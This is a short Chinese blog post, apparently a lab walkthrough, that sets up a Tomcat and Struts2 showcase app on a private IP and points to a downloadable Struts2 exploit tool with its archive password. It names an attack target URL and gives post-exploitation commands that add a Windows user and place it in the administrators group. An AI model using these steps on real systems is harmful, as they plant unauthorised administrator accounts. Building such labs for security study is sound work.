tomcat+struct2 环境搭建


环境准备

jspstudy

1、下载jspstudy:https://www.xp.cn/download.html

    JspStudy集成JDK+tomcat+Apache+mysql,JSP环境配置一键启动。无需修改任何配置即可迅速搭建支持JSP的服务器运行环境。

2、 修改mysql数据库的用户名和密码为mysqldbmysql/mysqldbmysql:https://www.cnblogs.com/elfin/p/11424054.html 

use mysql;    UPDATE user SET password=PASSWORD("mysqldbmysql") WHERE user='root';    update user set user="mysqldbmysql" where user="root";     flush privileges;


修改mysql数据库的用户名和密码

3、选择tomcat  ( tomcat:8080  apache:80)

struct2

1、  struct2官网下载:https://jingyan.baidu.com/article/1876c8526b84f3890b1376a2.html

        struct2自己找的地下载:http://www.downza.cn/soft/225712.html     普通下载.zip文件

        jar包和war包的介绍和区别:https://www.jianshu.com/p/3b5c45e8e5bd

        struct2解压后的文件struts2\apps\struts2-showcase.war放到C:\JspStudy\tomcat\webapps目录会被自动解压为:struts2-showcase

        访问: http://192.168.127.128:8080/struts2-showcase/index.action   tomcat:8080  apache:80

2、  Struts2  exp下载: https://www.cnblogs.com/k8gege/p/10261223.html      解压密码::k8team

3、 攻击目标:http://192.168.127.128:8080/struts2-showcase/actionchaining/actionChain1!input.action

        创建用户命令:net user zb zb /add

        提权:                net localgroup administrators zb /add

posted @   weiwei0123  阅读(128)  评论(0编辑  收藏  举报
编辑推荐:
· go语言实现终端里的倒计时
· 如何编写易于单元测试的代码
· 10年+ .NET Coder 心语,封装的思维:从隐藏、稳定开始理解其本质意义
· .NET Core 中如何实现缓存的预热?
· 从 HTTP 原因短语缺失研究 HTTP/2 和 HTTP/3 的设计差异
阅读排行:
· 使用C#创建一个MCP客户端
· 分享一个免费、快速、无限量使用的满血 DeepSeek R1 模型,支持深度思考和联网搜索!
· ollama系列1:轻松3步本地部署deepseek,普通电脑可用
· 基于 Docker 搭建 FRP 内网穿透开源项目(很简单哒)
· 按钮权限的设计及实现
  1. 1 追梦人 班得瑞
  2. 2 清晨 班得瑞
  3. 3 河中映月 班得瑞
  4. 4 雪之梦 班得瑞
  5. 5 安妮的仙境 班得瑞
  6. 6 梦想家 班得瑞
  7. 7 寂静之音 班得瑞
  8. 8 山谷微风 班得瑞
  9. 9 秋日私语 Richard Clayderman
  10. 10 卡农 dylanf
  11. 11 水边的阿狄丽娜 nengcd
  12. 12 克罗地亚狂想曲 Kyle
清晨 - 班得瑞
00:00 / 00:00
An audio error has occurred, player will skip forward in 2 seconds.
点击右上角即可分享
微信分享提示